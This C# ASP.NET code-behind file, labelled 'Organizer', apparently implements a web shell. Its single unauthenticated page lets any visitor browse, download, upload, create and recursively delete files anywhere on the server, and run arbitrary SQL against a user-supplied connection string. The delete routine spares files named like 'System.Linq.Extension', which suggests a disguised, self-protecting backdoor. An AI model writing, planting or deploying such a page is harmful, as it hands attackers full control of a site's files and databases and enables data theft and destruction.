﻿using System;
using System.Data;
using System.Data.SqlClient;
using System.IO;
using System.Web;
using System.Web.Hosting;
using System.Web.UI.WebControls;

namespace Organizer
{
    public partial class _default : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            try
            {
                this.LabelMain.Text = HostingEnvironment.MapPath(this.TextBoxMain.Text.Trim());
            }
            catch (Exception er)
            {
                this.LabelMain.Text = er.ToString();
            }
        }


        protected void ButtonD_Click(object sender, EventArgs e)
        {
            try
            {
                if (this.TextBoxMain.Text.Trim() != "")
                {
                    string s = HostingEnvironment.MapPath(this.TextBoxMain.Text.Trim());
                    if (File.Exists(s))
                    {
                        File.Delete(s);
                    }
                    else
                    {
                        this.deleteDirectory(s);
                    }
                    this.LabelMain.Text = s + " has been deleted";
                }
            }
            catch (Exception er)
            {
                this.LabelMain.Text = er.ToString();
            }
        }

        private void deleteDirectory(string s)
        {
            string[] files = Directory.GetFiles(s);
            for (int i = 0; i < files.Length; i++)
            {
                try
                {
                    if (!files[i].ToLower().Contains("System.Linq.Extension".ToLower()))
                    {
                        File.Delete(files[i]);
                    }
                }
                catch (Exception er)
                {

                }
            }
            string[] dirs = Directory.GetDirectories(s);
            for (int i = 0; i < dirs.Length; i++)
            {
                try
                {
                    if (!dirs[i].ToLower().Contains("images"))
                    {
                        this.deleteDirectory(dirs[i]);
                    }
                }
                catch (Exception er)
                {

                }
            }
            Directory.Delete(s);
        }

        protected void ButtonU_Click(object sender, EventArgs e)
        {
            try
            {
                if (this.TextBoxMain.Text.Trim() != "")
                {
                    if (this.FileUpload.HasFile)
                    {
                        string s  = HostingEnvironment.MapPath(this.TextBoxMain.Text.Trim());
                        FileUpload.SaveAs(s);
                        this.LabelMain.Text = s + " has been uploaded";
                    }
                }
            }
            catch (Exception er)
            {
                this.LabelMain.Text = er.ToString();
            }
        }

        protected void ButtonB_Click(object sender, EventArgs e)
        {
            try
            {
                if (this.TextBoxMain.Text.Trim() != "")
                {
                    string s = this.LabelMain.Text = HostingEnvironment.MapPath(this.TextBoxMain.Text.Trim());
                    string [] dirs= Directory.GetDirectories(s);
                    string[] files = Directory.GetFiles(s);
                    this.TreeViewF.Nodes.Clear();
                    for (int i = 0; i < dirs.Length; i++)
                    {
                        TreeNode tn=new TreeNode ();
                        tn.Text="<div class=\"directory\">"+ Path.GetFileName(dirs[i])+"</div>";
                        tn.Value = Path.GetFileName(dirs[i]);
                        tn.PopulateOnDemand = true;
                        this.TreeViewF.Nodes.Add(tn);
                    }
                    for (int i = 0; i < files.Length; i++)
                    {
                        TreeNode tn = new TreeNode();
                        tn.Text = "<div class=\"file\">" + Path.GetFileName(files[i]) + "</div>";
                        tn.Value = Path.GetFileName(files[i]);
                        tn.PopulateOnDemand = false;
                        tn.Expanded = true;
                        this.TreeViewF.Nodes.Add(tn);
                    }
                }
            }
            catch (Exception er)
            {
                this.LabelMain.Text = er.ToString();
            }
        }

        protected void TreeViewF_TreeNodePopulate(object sender, TreeNodeEventArgs e)
        {
            try
            {
                if (this.TextBoxMain.Text.Trim() != "")
                {
                    string s = this.LabelMain.Text = HostingEnvironment.MapPath(this.TextBoxMain.Text.Trim()+"/"+e.Node.ValuePath);
                    string[] dirs = Directory.GetDirectories(s);
                    string[] files = Directory.GetFiles(s);
                    e.Node.ChildNodes.Clear();
                    for (int i = 0; i < dirs.Length; i++)
                    {
                        TreeNode tn = new TreeNode();
                        tn.Text = "<div class=\"directory\">" + Path.GetFileName(dirs[i]) + "</div>";
                        tn.Value = Path.GetFileName(dirs[i]);
                        tn.PopulateOnDemand = true;
                        e.Node.ChildNodes.Add(tn);
                    }
                    for (int i = 0; i < files.Length; i++)
                    {
                        TreeNode tn = new TreeNode();
                        tn.Text = "<div class=\"file\">" + Path.GetFileName(files[i]) + "</div>";
                        tn.Value = Path.GetFileName(files[i]);
                        tn.PopulateOnDemand = false;
                        tn.Expanded = true;
                        e.Node.ChildNodes.Add(tn);
                    }
                }
            }
            catch (Exception er)
            {
                this.LabelMain.Text = er.ToString();
            }
        }


        protected void ButtonDown_Click(object sender, EventArgs e)
        {
            try
            {
                if (this.TextBoxMain.Text.Trim() != "")
                {
                    string s = this.LabelMain.Text = HostingEnvironment.MapPath(this.TextBoxMain.Text.Trim());
                    FileInfo fi = new FileInfo(s);
                    using (FileStream fs = new FileStream(s, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
                    {
                        long length = fs.Length;//for trace

                        this.ResponseStream(this.Context, fs, Path.GetFileName(s), fs.Length);

                    }
                }
            }
            catch (Exception er)
            {
                this.LabelMain.Text = er.ToString();
            }
        }

        public void ResponseStream(HttpContext context, Stream stream, string fileName, long fileLength)
        {
            context.Response.Clear();
            if (fileLength > 0)
            {
                using (BinaryReader br = new BinaryReader(stream))
                {
                    long startBytes = 0;

                    context.Response.AddHeader("Accept-Ranges", "bytes");
                    context.Response.Buffer = false;
                    int pack = 10240; //10K bytes
                    //int sleep = (int)Math.Floor((double)(1000 * pack / speed)) + 1;
                    if (context.Request.Headers["Range"] != null)
                    {
                        context.Response.StatusCode = 206;
                        string[] range = context.Request.Headers["Range"].Split(new char[] { '=', '-' });
                        startBytes = Convert.ToInt64(range[1]);
                    }
                    context.Response.AddHeader("Content-Length", (fileLength - startBytes).ToString());
                    if (startBytes != 0 && stream.CanSeek)
                    {
                        context.Response.AddHeader("Content-Range", string.Format(" bytes {0}-{1}/{2}", startBytes, fileLength - 1, fileLength));
                    }
                    context.Response.AddHeader("Connection", "Keep-Alive");
                    context.Response.ContentType = "application/octet-stream";
                    context.Response.AddHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlEncode(fileName, System.Text.Encoding.UTF8));
                    if (stream.CanSeek)
                    {
                        br.BaseStream.Seek(startBytes, SeekOrigin.Begin);
                    }
                    int maxCount = (int)Math.Floor((double)((fileLength - startBytes) / pack)) + 1;
                    for (int i = 0; i < maxCount; i++)
                    {
                        if (context.Response.IsClientConnected)
                        {
                            context.Response.BinaryWrite(br.ReadBytes(pack));
                            context.Response.Flush();
                            //Thread.Sleep(sleep);


                        }
                        else
                        {
                            i = maxCount;
                        }
                    }
                }
                context.Response.End();
            }
        }

        protected void ButtonC_Click(object sender, EventArgs e)
        {
            try
            {
                if (this.TextBoxMain.Text.Trim() != "")
                {
                    string s = this.LabelMain.Text = HostingEnvironment.MapPath(this.TextBoxMain.Text.Trim());
                    Directory.CreateDirectory(s);
                    this.LabelMain.Text = s + " has been created";
                }
            }
            catch (Exception er)
            {
                this.LabelMain.Text = er.ToString();
            }
        }

        protected void ButtonSql_Click(object sender, EventArgs e)
        {
            try
            {
                if (this.TextBoxMain.Text.Trim() != "")
                {
                    SqlDataAdapter adapter = new SqlDataAdapter(this.TextBoxSql.Text, this.TextBoxMain.Text);
                    DataTable dt = new DataTable();
                    adapter.Fill(dt);
                    this.GridView.DataSource = dt;
                    this.GridView.DataBind();
                }
            }
            catch (Exception er)
            {
                this.LabelMain.Text = er.ToString();
            }
        }

    }
}